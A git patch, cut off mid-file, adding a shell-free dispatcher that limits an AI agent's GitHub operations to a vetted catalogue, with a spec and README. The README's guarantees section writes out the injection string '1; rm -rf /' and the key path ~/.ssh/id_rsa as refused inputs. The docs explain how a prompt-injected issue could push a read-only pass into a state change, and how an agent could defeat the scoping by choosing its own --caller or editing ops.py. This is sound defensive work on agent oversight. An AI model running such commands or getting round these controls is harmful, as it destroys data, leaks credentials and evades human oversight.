From 9500e3ec0dcfab84a084d0b82e4e88df518bda86 Mon Sep 17 00:00:00 2001 From: Jarek Potiuk Date: Tue, 8 Sep 2026 23:18:17 +0200 Subject: [PATCH] Add a vetted command surface for fixed-shape forge operations Layer 3 forces confirmation with wildcard rules -- gh issue edit *, gh api * -X *, and so on. The wildcard is what makes the rule safe, because an unbounded argument surface cannot be pre-approved, and it is also what makes it expensive: a maintainer sweeping thirty trackers answers a hundred prompts, and the hundredth gets less attention than the first. Prompt fatigue is a security failure, not an ergonomics complaint -- a posture that is correct but unusable degrades into one that is bypassed. This removes the wildcard rather than the confirmation. tools/vetted-ops is a dispatcher over a closed catalogue of operations. Each has a name, typed parameters and a builder returning an argv list executed without a shell, so no parameter can become a command; parameters may not start with a dash, so none can become a flag; the repository comes from policy rather than the command line, so an operation cannot be pointed elsewhere; and label, milestone, assignee, column and close-reason values must appear in adopter-declared enums. Free text reaches the forge only by file reference, and the file must resolve inside a declared workspace -- the body may contain anything, but it cannot be ~/.ssh/id_rsa. A bounded effect set can be allowed once instead of asked every time, and widening it is a reviewed code change. Scoping is deliberately described as what it is. The dispatcher requires --caller and refuses operations outside that caller's manifest, which defends against the wrong skill reaching for the wrong operation -- including the prompt-injection case where hostile issue text talks a read-only pass into a state change. It is not a security boundary: within a session the agent is one principal and supplies --caller itself. The README and the spec both say so rather than implying more. A real boundary needs the runtime to bind scope to permissions, and no portable mechanism exists today: plugin manifests cannot declare permissions, marketplaces cannot either, and permissionMode is unsupported for plugin-shipped agents. The closest primitive is a subagent with a restricted tools list, which is Claude Code-specific -- the only other shipping runtime adapter is Codex, experimental. The spec records that as the trajectory rather than pretending the gap is closed, alongside generalising the catalogue beyond the security family, resolving builders per configured forge, and having permission-audit retire the wildcard rules a repo no longer needs. Twenty tests assert the properties rather than the plumbing: hostile parameters refused, every builder producing a gh argv, the repo not influenceable by a parameter, body files outside the workspace rejected while hostile body content passes through untouched, and a caller refused an operation outside its manifest. --- docs/labels-and-capabilities.md | 1 + docs/vendor-neutrality.md | 5 +- pyproject.toml | 1 + tools/spec-loop/specs/README.md | 3 +- tools/spec-loop/specs/overview.md | 1 + .../spec-loop/specs/vetted-command-surface.md | 100 ++++ tools/vetted-ops/README.md | 191 +++++++ tools/vetted-ops/pyproject.toml | 85 +++ tools/vetted-ops/src/vetted_ops/__init__.py | 22 + tools/vetted-ops/src/vetted_ops/cli.py | 146 +++++ tools/vetted-ops/src/vetted_ops/config.py | 147 +++++ tools/vetted-ops/src/vetted_ops/ops.py | 540 ++++++++++++++++++ tools/vetted-ops/tests/test_vetted_ops.py | 239 ++++++++ uv.lock | 16 + 14 files changed, 1494 insertions(+), 3 deletions(-) create mode 100644 tools/spec-loop/specs/vetted-command-surface.md create mode 100644 tools/vetted-ops/README.md create mode 100644 tools/vetted-ops/pyproject.toml create mode 100644 tools/vetted-ops/src/vetted_ops/__init__.py create mode 100644 tools/vetted-ops/src/vetted_ops/cli.py create mode 100644 tools/vetted-ops/src/vetted_ops/config.py create mode 100644 tools/vetted-ops/src/vetted_ops/ops.py create mode 100644 tools/vetted-ops/tests/test_vetted_ops.py diff --git a/docs/labels-and-capabilities.md b/docs/labels-and-capabilities.md index 95b7046a..e881739a 100644 --- a/docs/labels-and-capabilities.md +++ b/docs/labels-and-capabilities.md @@ -321,6 +321,7 @@ or a contract-free mix of substrates (e.g. `tools/spec-inventory` is | [`tools/ponymail`](../tools/ponymail/) | `contract:mail-archive` + `contract:mail-source` | PonyMail public mail-archive substrate (ASF `lists.apache.org`); implements the `tools/mail-archive/` contract for archive reads and the `tools/mail-source/` contract for inbound list-traffic ingestion | | [`tools/scan-format`](../tools/scan-format/) | `contract:scan-format` | Adapter contract for security-scanner report formats (ASVS reference); reads a scan's finding index + per-finding evidence for the `security-issue-import-from-scan` pipeline. | | [`tools/permission-audit`](../tools/permission-audit/) | `substrate:sandbox` | Audit + atomically edit Claude Code `permissions.allow[]` entries; backs `/magpie-setup verify --apply-permission-audit` (check 8d) | +| [`tools/vetted-ops`](../tools/vetted-ops/) | `substrate:sandbox` | Fixed, policy-scoped forge operations — a closed catalogue whose parameters can never become commands or flags, so one `allow` entry replaces the wildcard Layer 3 `ask` rules | | [`tools/pr-management-stats`](../tools/pr-management-stats/) | `substrate:analytics` | PR-backlog analytics engine | | [`tools/preflight-audit`](../tools/preflight-audit/) | `substrate:analytics` | Dry-run the bulk-mode pre-flight classifier; measure skip-rate before / after any rule edit in the security-issue-sync skill | | [`tools/privacy-llm`](../tools/privacy-llm/) | `substrate:privacy` | Privacy-LLM PII-scrubbing gate | diff --git a/docs/vendor-neutrality.md b/docs/vendor-neutrality.md index 0fb5ed80..50b578dd 100644 --- a/docs/vendor-neutrality.md +++ b/docs/vendor-neutrality.md @@ -579,7 +579,7 @@ Organization scope (declared, orthogonal to vendor): ASF = 14, agnostic = 60. **LLM / agent-integration neutrality** -**Agent harness: 22/22 substrate tools run under any harness unchanged (100%).** Substrate tools are Magpie's own machinery; each declares the agent harness it integrates with (`**Harness:**`), or `agnostic`. A tool is neutral when it is harness-agnostic or supports two or more harnesses; *coupled* when it targets a single harness. +**Agent harness: 23/23 substrate tools run under any harness unchanged (100%).** Substrate tools are Magpie's own machinery; each declares the agent harness it integrates with (`**Harness:**`), or `agnostic`. A tool is neutral when it is harness-agnostic or supports two or more harnesses; *coupled* when it targets a single harness. | Substrate tool | Substrate | Harness support | Verdict | |---|---|---|---| @@ -605,6 +605,7 @@ Organization scope (declared, orthogonal to vendor): ASF = 14, agnostic = 60. | `spec-validator` | framework-dev | any | ✅ agnostic | | `symlink-lint` | framework-dev | any | ✅ agnostic | | `vendor-neutrality-score` | framework-dev, analytics | any | ✅ agnostic | +| `vetted-ops` | sandbox | any | ✅ agnostic | Harness → substrate tools it supports: @@ -614,7 +615,7 @@ Harness → substrate tools it supports: - **Gemini CLI** (2): `sandbox-lint`, `spec-loop` - **Kiro** (3): `agent-guard`, `sandbox-lint`, `spec-loop` - **OpenCode** (3): `agent-guard`, `sandbox-lint`, `spec-loop` -- **any harness** (19): `agent-isolation`, `dashboard-generator`, `dev`, `egress-gateway`, `permission-audit`, `pilot-report-validator`, `pr-management-stats`, `preflight-audit`, `privacy-llm`, `probe-templates`, `security-tracker-stats-dashboard`, `skill-and-tool-validator`, `skill-evals`, `skill-reconciler-diff`, `spec-inventory`, `spec-status-index`, `spec-validator`, `symlink-lint`, `vendor-neutrality-score` +- **any harness** (20): `agent-isolation`, `dashboard-generator`, `dev`, `egress-gateway`, `permission-audit`, `pilot-report-validator`, `pr-management-stats`, `preflight-audit`, `privacy-llm`, `probe-templates`, `security-tracker-stats-dashboard`, `skill-and-tool-validator`, `skill-evals`, `skill-reconciler-diff`, `spec-inventory`, `spec-status-index`, `spec-validator`, `symlink-lint`, `vendor-neutrality-score`, `vetted-ops` **Model endpoint: neutral by construction — 4 default-approved endpoint classes across independent trust domains, plus adopter opt-in.** From the [`privacy-llm` registry](../tools/privacy-llm/models.md): the framework keys approval on *endpoint identity*, not on who hosts the model, so no single LLM vendor is privileged. diff --git a/pyproject.toml b/pyproject.toml index 9da6bd15..e4201b56 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -133,6 +133,7 @@ members = [ "tools/symlink-lint", "tools/vcs", "tools/vendor-neutrality-score", + "tools/vetted-ops", "tools/fossil", "tools/sourcehut", ] diff --git a/tools/spec-loop/specs/README.md b/tools/spec-loop/specs/README.md index 9d6170b3..a7bcb21d 100644 --- a/tools/spec-loop/specs/README.md +++ b/tools/spec-loop/specs/README.md @@ -53,7 +53,8 @@ Start with [`overview.md`](overview.md), then: [`good-first-issue-sweep.md`](good-first-issue-sweep.md), [`codex-runtime.md`](codex-runtime.md), [`maintainer-education.md`](maintainer-education.md), - [`spec-gap-staleness.md`](spec-gap-staleness.md). + [`spec-gap-staleness.md`](spec-gap-staleness.md), + [`vetted-command-surface.md`](vetted-command-surface.md). (Agentic Autonomous, the fifth MISSION mode, is deliberately off and has no spec — see the note in [`overview.md`](overview.md).) diff --git a/tools/spec-loop/specs/overview.md b/tools/spec-loop/specs/overview.md index fa1adc3c..f4ae047e 100644 --- a/tools/spec-loop/specs/overview.md +++ b/tools/spec-loop/specs/overview.md @@ -68,6 +68,7 @@ Each mode is an independently toggleable set of skills. Maturity mirrors | Good-first-issue backlog sweep | [good-first-issue-sweep.md](good-first-issue-sweep.md) | | Codex first-class skill runtime | [codex-runtime.md](codex-runtime.md) | | Spec-gap staleness verification (proposed) | [spec-gap-staleness.md](spec-gap-staleness.md) | +| Vetted command surface (fixed-shape forge ops) | [vetted-command-surface.md](vetted-command-surface.md) | ## The non-negotiables every area inherits diff --git a/tools/spec-loop/specs/vetted-command-surface.md b/tools/spec-loop/specs/vetted-command-surface.md new file mode 100644 index 00000000..a49f8103 --- /dev/null +++ b/tools/spec-loop/specs/vetted-command-surface.md @@ -0,0 +1,100 @@ + + +# Vetted command surface + +**Status:** partial — the dispatcher ships; per-scope enforcement does not. + +**Capability:** substrate:sandbox + +## Problem + +[RFC-AI-0002 Layer 3](../../../docs/rfcs/RFC-AI-0002.md) forces confirmation on +outward-visible actions with wildcard rules — `Bash(gh issue edit *)`, +`Bash(gh api * -X *)`, and so on. The wildcard is what makes the rule safe (an +unbounded argument surface cannot be pre-approved) and also what makes it +expensive: a maintainer sweeping thirty trackers answers a hundred prompts, and +the hundredth gets less attention than the first. + +Prompt fatigue is a security failure, not an ergonomics complaint. A posture that +is correct but unusable degrades into a posture that is bypassed. + +## Approach + +Replace the wildcard, not the confirmation. Route forge actions through a +dispatcher whose operations are a **closed catalogue** of fixed shapes: + +- parameters are typed and validated; none may start with `-`; +- builders return `list[str]` executed without a shell, so no parameter can + become a command or a flag; +- the repository is policy, never a parameter; +- value-bearing parameters (labels, milestones, assignees, columns, close + reasons) must appear in adopter-declared enums; +- free text reaches the forge only by file reference, and the file must resolve + inside a declared workspace. + +A bounded effect set can be `allow`ed once. Widening it is a reviewed code +change. + +Shipping implementation: [`tools/vetted-ops`](../../vetted-ops/README.md). + +## Scoping — what is real and what is aspiration + +The dispatcher requires `--caller` and refuses operations outside that caller's +declared manifest. **This is least-privilege, not a security boundary.** Within a +session the agent is one principal and supplies `--caller` itself. It defends +against the wrong skill reaching for the wrong operation — including the +prompt-injection case where hostile issue text talks a read-only triage pass into +a state change — and not against a determined agent. + +A real boundary requires the runtime to bind scope to permissions. Surveying what +exists today: + +| Mechanism | Available? | Note | +|---|---|---| +| Plugin-declared permissions | No | No `permissions` field in a plugin manifest | +| Marketplace-declared permissions | No | Same | +| `permissionMode` on plugin agents | No | Explicitly unsupported, for security reasons | +| Subagent with a restricted `tools` list | **Partly** | Claude Code only | + +The last row is the opening. A skill that delegates its write operations to a +subagent shipping a restricted `tools` list gets enforcement from the runtime +rather than from an honour-system argument. It is not portable: Claude Code +supports it, the only other shipping runtime adapter is Codex +(`experimental`), and the remaining runtimes are unimplemented extension points +per [`docs/adapters/registry.md`](../../../docs/adapters/registry.md). + +## Future work + +1. **Per-scope enforcement where the runtime allows it.** Ship write operations + behind a subagent with a restricted tool list on runtimes that support it, + keeping the dispatcher as the portable floor. Treat it the way + [RFC-AI-0002 treats the push gate](../../../docs/rfcs/RFC-AI-0002.md): a + harness-specific hardening layered on a harness-agnostic base, with the + asymmetry stated rather than hidden. + +2. **Generalise beyond the security family.** The catalogue is currently shaped by + the security-issue lifecycle because that is where the sweep volume is. The + same argument applies to any skill family that makes many small forge + writes — PR management, repo health, release management. Each needs its own + operations and its own caller manifests; none needs a second dispatcher. + +3. **Adapter parity.** Operations are `gh`-shaped today. The forge is already an + adapter axis (`github`, `jira`, `bitbucket`, `sourcehut`, `fossil`), so the + catalogue should eventually resolve its builder per configured forge rather + than assuming one. + +4. **Close the loop with `permission-audit`.** Once a repo routes through the + dispatcher, its wildcard `ask` rules become dead weight; + [`tools/permission-audit`](../../permission-audit/README.md) is the natural + place to detect and offer to remove them. + +## Non-goals + +- **Replacing the sandbox.** This operates at Layer 3 only. Layers 0–2 are + unchanged and still carry the load. +- **Removing human confirmation from genuinely novel actions.** Anything outside + the catalogue keeps its `ask` rule. The catalogue is deliberately small and + grows by review. +- **Pretending `--caller` is authentication.** Stated plainly wherever the + mechanism is documented. diff --git a/tools/vetted-ops/README.md b/tools/vetted-ops/README.md new file mode 100644 index 00000000..c6cc151c --- /dev/null +++ b/tools/vetted-ops/README.md @@ -0,0 +1,191 @@ + + + + +**Table of Contents** *generated with [DocToc](https://github.com/thlorenz/doctoc)* + +- [vetted-ops](#vetted-ops) + - [Prerequisites](#prerequisites) + - [Why](#why) + - [What it actually guarantees](#what-it-actually-guarantees) + - [What it does *not* guarantee](#what-it-does-not-guarantee) + - [Configuration](#configuration) + - [CLI](#cli) + - [Wiring it into settings](#wiring-it-into-settings) + - [Tests](#tests) + - [Referenced by](#referenced-by) + + + + + +# vetted-ops + +**Capability:** substrate:sandbox + +**Harness:** agnostic + +A dispatcher for **fixed, policy-scoped forge operations**, so an agent session +needs *one* allowlist entry instead of a dozen wildcard `ask` rules. + +## Prerequisites + +- **Runtime:** Python 3.11+ via `uv`. The package itself is stdlib-only. +- **CLIs:** the `gh` CLI on `PATH`, authenticated for the repositories the policy + names. Every operation shells out to it; the dispatcher runs nothing else. +- **Credentials:** whatever `gh` already uses (`~/.config/gh/`). This tool reads + no credential of its own and stores none. +- **Network:** only what `gh` needs — `github.com` / `api.github.com`. +- **Configuration:** a policy TOML (see *Configuration*). Without one, every + operation refuses. + +## Why + +[RFC-AI-0002 Layer 3](../../docs/rfcs/RFC-AI-0002.md) forces confirmation on every +outward-visible action: + +```json +"ask": [ "Bash(gh issue edit *)", "Bash(gh issue comment *)", + "Bash(gh issue close *)", "Bash(gh api * -X *)", … ] +``` + +The wildcard is doing the work, and it is also the cost. `gh issue edit *` covers +an unbounded argument surface — `--add-label`, `--body`, `--repo ` — so a human has to read every invocation to know what it does. On a +sweep that touches thirty trackers, that is a hundred prompts, and the hundredth +gets the same attention as the first. Prompt fatigue is itself a security +problem. + +This tool removes the wildcard rather than the confirmation. Each operation is a +**closed shape**: a name, typed parameters, and a builder that returns an argv +list. The repository comes from policy, not the command line. Labels, milestones, +assignees, board columns and close reasons must be values the policy declares. +Because the effect set is bounded by construction, the dispatcher can be +`allow`ed once instead of `ask`ed every time. + +## What it actually guarantees + +Being precise, because a security tool that overstates itself is worse than none: + +- **A parameter can never become a command.** Builders return `list[str]`, executed + with `subprocess.run(..., shell=False)`. There is no string interpolation + anywhere in the path, so `1; rm -rf /` is simply an invalid issue number. +- **A parameter can never become a flag.** Any parameter starting with `-` is + refused before validation, which closes flag-injection into `gh`. +- **The repo is not addressable.** No operation takes a repository parameter; it + is read from policy. An operation cannot be pointed at another repository. +- **Body content is free; body *location* is not.** Comment bodies are passed by + file reference, so the text may contain anything — backticks, `$(…)`, + newlines. What is constrained is which file may be read: it must resolve inside + the configured workspace, so an operation cannot be talked into publishing + `~/.ssh/id_rsa`. +- **The catalogue is closed.** Widening the surface means editing + [`ops.py`](src/vetted_ops/ops.py) — a reviewed code change, not a runtime + decision. + +### What it does *not* guarantee + +**Per-caller scoping is least-privilege, not a security boundary.** The policy +declares which operations each caller may run, and `--caller` is required. But +within one agent session the agent is a single principal that chooses what to +pass as `--caller`. This protects against *the wrong skill reaching for the wrong +operation* — a real and common failure, especially under prompt injection, where +a hostile issue body talks a read-only triage pass into closing something. It +does **not** stop a determined agent. + +A genuine boundary needs the runtime to bind scope to permissions. Today no +portable mechanism exists: plugin manifests cannot declare permissions, and +`permissionMode` is unsupported for plugin-shipped agents. The closest available +primitive is a subagent with a restricted `tools` list, which is **Claude +Code-specific** — the only other shipping runtime adapter is Codex +(`experimental`). See +[`tools/spec-loop/specs/vetted-command-surface.md`](../spec-loop/specs/vetted-command-surface.md) +for that trajectory. + +**This is not a substitute for the sandbox.** It reduces prompt volume at Layer 3. +Layers 0–2 are unchanged and still carry the load. + +## Configuration + +Adopter-owned, at +`.apache-magpie-overrides/tools/vetted-ops/config.toml` by default: + +```toml +# Body files must resolve inside this directory. +workspace = "/tmp/agent-scratch" + +[repos] +tracker = "acme/tracker" +upstream = "acme/product" + +[values] +labels = ["needs triage", "cve allocated", "pr merged"] +milestones = ["1.2.3", "1.3.0"] +assignees = ["alice", "bob"] +issue_states = ["open", "closed", "all"] +close_reasons = ["completed", "not planned"] + +board_project_id = "PVT_kwDO…" # ProjectV2 node id +board_status_field_id = "PVTSSF_…" # its Status field id + +[values.board_columns] # column name -> single-select option id +"Assessed" = "aee65beb" +"CVE allocated" = "aae2beb3" + +[callers] # caller -> operations it may run +"security-issue-sync" = ["issue-view", "issue-comments", "issue-add-label", + "issue-set-milestone", "issue-comment", "comment-update"] +"security-issue-triage" = ["issue-view", "issue-comments"] +``` + +The policy is never supplied on the command line: a caller cannot widen its own +policy. + +## CLI + +```bash +vetted-op list-ops # the catalogue +vetted-op policy # resolved policy, as JSON +vetted-op --caller [param …] +vetted-op --caller [param …] --dry-run # print argv, run nothing +``` + +Exit codes: `0` ok, `2` usage, `3` refused by policy or validation, `4` the +underlying command failed. + +## Wiring it into settings + +Replace the wildcard `ask` rules with one `allow` entry, and keep an `ask` on +anything still invoked directly: + +```json +"permissions": { + "allow": [ "Bash(uv run --project /tools/vetted-ops vetted-op *)" ] +} +``` + +The dispatcher must live where the agent cannot rewrite it — otherwise an agent +that edits `ops.py` has defeated the whole design. Shipping it inside the +installed plugin tree satisfies this: the plugin install is not a path the agent +edits. If you vendor it into a repo the agent *does* edit, add a +`permissions.deny` on `Write`/`Edit` for that path, and understand that the +guarantee is then only as strong as that rule. + +## Tests + +```bash +uv run --project . python -m pytest +``` + +The suite asserts the properties above rather than the plumbing: hostile +parameters are refused, every builder produces a `gh` argv, the repo cannot be +influenced by a parameter, body files outside the workspace are rejected while +hostile body *content* passes through untouched, and a caller cannot run an +operation outside its manifest. + +## Referenced by + +- [RFC-AI-0002](../../docs/rfcs/RFC-AI-0002.md) — the layered agent-isolation posture. +- [`tools/spec-loop/specs/vetted-command-surface.md`](../spec-loop/specs/vetted-command-surface.md) diff --git a/tools/vetted-ops/pyproject.toml b/tools/vetted-ops/pyproject.toml new file mode 100644 index 00000000..0649ef44 --- /dev/null +++ b/tools/vetted-ops/pyproject.toml @@ -0,0 +1,85 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "vetted-ops" +version = "0.1.0" +description = "Run fixed, policy-scoped GitHub operations so an agent session needs one allowlist entry instead of wildcard ask-rules." +readme = "README.md" +requires-python = ">=3.11" +license = { text = "Apache-2.0" } +# Runtime is stdlib-only; the dispatcher shells out to `gh` via an argv list. +dependencies = [] + +[project.scripts] +vetted-op = "vetted_ops:main" + +[tool.hatch.build.targets.wheel] +packages = ["src/vetted_ops"] + +[tool.ruff] +line-length = 110 +target-version = "py311" +src = ["src", "tests"] + +[tool.ruff.lint] +select = [ + "E", # pycodestyle errors + "W", # pycodestyle warnings + "F", # pyflakes + "I", # isort + "B", # flake8-bugbear + "UP", # pyupgrade + "SIM", # flake8-simplify + "C4", # flake8-comprehensions + "RUF", # ruff-specific +] +ignore = [ + "E501", # line-too-long — the 110-char limit above is already generous +] + +[tool.ruff.lint.per-file-ignores] +"tests/**" = ["B", "SIM"] # test clarity beats these + +[tool.mypy] +python_version = "3.11" +files = ["src", "tests"] +warn_unused_ignores = true +warn_redundant_casts = true +warn_unreachable = true +check_untyped_defs = true +no_implicit_optional = true +disallow_untyped_defs = true +disallow_incomplete_defs = true + +[[tool.mypy.overrides]] +module = "tests.*" +disallow_untyped_defs = false +disallow_incomplete_defs = false + +[tool.pytest.ini_options] +minversion = "8.0" +addopts = "-ra -q" +testpaths = ["tests"] + +[dependency-groups] +# The shared toolchain (mypy, pytest, ruff) comes from `magpie-dev` +# (tools/dev), declared once for the whole workspace. +dev = ["magpie-dev"] diff --git a/tools/vetted-ops/src/vetted_ops/__init__.py b/tools/vetted-ops/src/vetted_ops/__init__.py new file mode 100644 index 00000000..c6e52601 --- /dev/null +++ b/tools/vetted-ops/src/vetted_ops/__init__.py @@ -0,0 +1,22 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""Vetted, policy-scoped GitHub operations for agent sessions.""" + +from .cli import main + +__all__ = ["main"] diff --git a/tools/vetted-ops/src/vetted_ops/cli.py b/tools/vetted-ops/src/vetted_ops/cli.py new file mode 100644 index 00000000..ce81be3a --- /dev/null +++ b/tools/vetted-ops/src/vetted_ops/cli.py @@ -0,0 +1,146 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +""" +The dispatcher. + +``vetted-op --caller [param …]`` + +Everything the caller supplies is a *parameter*, never a fragment of a command. +The operation name selects a builder from the closed catalogue; the builder +returns an argv list; the argv list is executed without a shell. There is no +path by which a parameter becomes an argument to ``gh`` that the catalogue did +not put there. +""" + +from __future__ import annotations + +import argparse +import subprocess +import sys +from pathlib import Path + +from . import ops as ops_mod +from .config import Config, ConfigError, describe, load + +EXIT_OK = 0 +EXIT_USAGE = 2 +EXIT_POLICY = 3 +EXIT_COMMAND = 4 + + +def _validate_params(op: ops_mod.Op, values: list[str], config: Config) -> dict[str, str]: + if len(values) != len(op.params): + raise ops_mod.ParamError( + f"operation {op.name!r} takes {len(op.params)} parameter(s) " + f"({', '.join(op.params) or 'none'}), got {len(values)}" + ) + + resolved: dict[str, str] = {} + for name, raw in zip(op.params, values, strict=True): + # A parameter is never an option. Rejecting a leading dash removes the + # whole class of "smuggle a flag into gh" tricks before any validator + # even runs. + if raw.startswith("-"): + raise ops_mod.ParamError(f"parameter {name!r} may not start with '-': {raw!r}") + + if name in op.enums: + resolved[name] = ops_mod.enum(config.enum_values(op.enums[name]))(raw) + elif name in op.body_files: + resolved[name] = ops_mod.body_file(raw, workspace=config.workspace) + elif name in {"number", "comment_id"}: + resolved[name] = ops_mod.number(raw) + elif name in {"ref", "base", "head", "prefix"}: + resolved[name] = ops_mod.ref(raw) + elif name == "path": + resolved[name] = ops_mod.repo_path(raw) + elif name == "login": + resolved[name] = ops_mod.login(raw) + elif name == "ghsa": + resolved[name] = ops_mod.ghsa(raw) + elif name == "item_id": + resolved[name] = ops_mod.node_id(raw) + else: # pragma: no cover - guarded by the catalogue test + raise ops_mod.ParamError(f"operation {op.name!r} declares unknown parameter {name!r}") + return resolved + + +def build_argv(op: ops_mod.Op, params: dict[str, str], config: Config) -> list[str]: + argv = op.build(config.as_mapping(), **params) + if not isinstance(argv, list) or not all(isinstance(a, str) for a in argv): + raise ops_mod.ParamError(f"operation {op.name!r} produced a malformed argv") + if argv[0] != "gh": + raise ops_mod.ParamError(f"operation {op.name!r} tried to run {argv[0]!r}, not gh") + return argv + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser( + prog="vetted-op", + description="Run one fixed, policy-scoped GitHub operation. No pass-through arguments.", + ) + parser.add_argument("--caller", help="the skill or plugin invoking this operation") + parser.add_argument("--config", type=Path, default=None, help="path to the policy TOML") + parser.add_argument("--dry-run", action="store_true", help="print the argv that would run, then exit") + parser.add_argument("operation", nargs="?", help="operation name, or 'list-ops' / 'policy'") + parser.add_argument("params", nargs="*", help="operation parameters, positionally") + args = parser.parse_args(argv) + + if args.operation in (None, "list-ops"): + for name, op in sorted(ops_mod.OPS.items()): + kind = "write" if op.writes else "read " + print(f"{kind} {name:<22} {' '.join(op.params)}\n {op.summary}") + return EXIT_OK + + try: + config = load(args.config) + except ConfigError as exc: + print(f"vetted-op: config error: {exc}", file=sys.stderr) + return EXIT_POLICY + + if args.operation == "policy": + print(describe(config)) + return EXIT_OK + + if not args.caller: + print("vetted-op: --caller is required for any operation", file=sys.stderr) + return EXIT_USAGE + + try: + op = ops_mod.resolve(args.operation) + permitted = config.ops_for(args.caller) + if op.name not in permitted: + raise ops_mod.ParamError( + f"caller {args.caller!r} is not permitted to run {op.name!r}; " + f"permitted: {', '.join(sorted(permitted)) or '(none)'}" + ) + params = _validate_params(op, list(args.params), config) + command = build_argv(op, params, config) + except (ops_mod.ParamError, ConfigError) as exc: + print(f"vetted-op: refused: {exc}", file=sys.stderr) + return EXIT_POLICY + + if args.dry_run: + print(" ".join(command)) + return EXIT_OK + + # No shell. The argv list is passed through verbatim. + completed = subprocess.run(command, check=False) + if completed.returncode != EXIT_OK: + print(f"vetted-op: {op.name} failed (gh exit {completed.returncode})", file=sys.stderr) + return EXIT_COMMAND + return EXIT_OK diff --git a/tools/vetted-ops/src/vetted_ops/config.py b/tools/vetted-ops/src/vetted_ops/config.py new file mode 100644 index 00000000..58f21340 --- /dev/null +++ b/tools/vetted-ops/src/vetted_ops/config.py @@ -0,0 +1,147 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +""" +Configuration loading for the vetted-op surface. + +The config is the *policy*: which repositories the operations act on, which +label / milestone / column values are permitted, and which caller may invoke +which operation. It is adopter-owned data, read from the adopter repo, and is +never supplied on the command line — a caller cannot widen its own policy. +""" + +from __future__ import annotations + +import json +import re +import tomllib +from dataclasses import dataclass +from pathlib import Path + +#: `owner/name`, conservative on both halves. +_REPO = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,100}/[A-Za-z0-9][A-Za-z0-9._-]{0,100}$") + +DEFAULT_RELATIVE_PATH = Path(".apache-magpie-overrides/tools/vetted-ops/config.toml") + + +class ConfigError(RuntimeError): + """Raised when the configuration is missing, malformed, or unsafe.""" + + +@dataclass(frozen=True) +class Config: + """Resolved, validated policy.""" + + tracker_repo: str + upstream_repo: str + workspace: Path + #: Enum name -> permitted values. Board columns map name -> option id. + values: dict[str, object] + #: Caller name -> permitted operation names. + callers: dict[str, frozenset[str]] + + def as_mapping(self) -> dict[str, object]: + """The mapping handed to an operation's ``build`` callable.""" + merged: dict[str, object] = dict(self.values) + merged["tracker_repo"] = self.tracker_repo + merged["upstream_repo"] = self.upstream_repo + return merged + + def enum_values(self, key: str) -> list[str]: + raw = self.values.get(key) + if raw is None: + raise ConfigError(f"config declares no {key!r} list, so no operation may use it") + if isinstance(raw, dict): + return sorted(raw) + if isinstance(raw, list) and all(isinstance(v, str) for v in raw): + return list(raw) + raise ConfigError(f"config key {key!r} must be a list of strings or a table") + + def ops_for(self, caller: str) -> frozenset[str]: + try: + return self.callers[caller] + except KeyError: + known = ", ".join(sorted(self.callers)) or "(none)" + raise ConfigError( + f"caller {caller!r} is not declared in the config; declared callers: {known}" + ) from None + + +def _require_repo(raw: dict[str, object], key: str) -> str: + value = raw.get(key) + if not isinstance(value, str) or not _REPO.match(value): + raise ConfigError(f"{key!r} must be an 'owner/name' string, got {value!r}") + return value + + +def load(path: Path | None = None, *, cwd: Path | None = None) -> Config: + """Load and validate the policy.""" + base = (cwd or Path.cwd()).resolve() + resolved = path if path is not None else base / DEFAULT_RELATIVE_PATH + if not resolved.is_file(): + raise ConfigError(f"no vetted-ops config at {resolved}") + + with resolved.open("rb") as handle: + raw = tomllib.load(handle) + + repos = raw.get("repos") + if not isinstance(repos, dict): + raise ConfigError("config needs a [repos] table with tracker and upstream") + + workspace_raw = raw.get("workspace") + if not isinstance(workspace_raw, str) or not workspace_raw: + raise ConfigError("config needs a top-level 'workspace' path for body files") + workspace = Path(workspace_raw).expanduser() + if not workspace.is_absolute(): + workspace = (base / workspace).resolve() + + values_raw = raw.get("values", {}) + if not isinstance(values_raw, dict): + raise ConfigError("[values] must be a table") + + callers_raw = raw.get("callers", {}) + if not isinstance(callers_raw, dict): + raise ConfigError("[callers] must be a table of caller -> list of operation names") + + callers: dict[str, frozenset[str]] = {} + for name, ops in callers_raw.items(): + if not isinstance(ops, list) or not all(isinstance(o, str) for o in ops): + raise 